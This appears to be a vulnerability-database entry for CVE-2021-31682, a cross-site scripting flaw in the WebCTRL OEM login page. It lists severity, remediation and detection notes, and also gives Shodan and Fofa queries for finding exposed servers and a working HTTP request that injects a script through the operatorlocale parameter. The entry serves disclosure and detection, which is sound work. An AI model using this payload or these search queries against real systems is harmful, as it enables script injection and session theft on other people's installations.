🔙 목록으로 돌아가기

CVE-2021-31682: WebCTRL OEM <= 6.5 - Cross-Site Scripting

TitleWebCTRL OEM <= 6.5 - Cross-Site Scripting
Authorgy741,dhiyaneshDk
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to a patched version of WebCTRL OEM that addresses the XSS vulnerability (CVE-2021-31682).
CVSS Score6.1
EPSS Score0.41198
CVE IDCVE-2021-31682
CWE IDCWE-79
Shodan Queryhtml:"/_common/lvl5/dologin.jsp"http.html:"/_common/lvl5/dologin.jsp"
Fofa Querybody="/_common/lvl5/dologin.jsp"
Tags cve2021 cve webctrl xss packetstorm automatedlogic vuln

🔍 Vulnerability Description

WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.

🌐 HTTP Request

GET /index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.4 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31682.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-31682.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A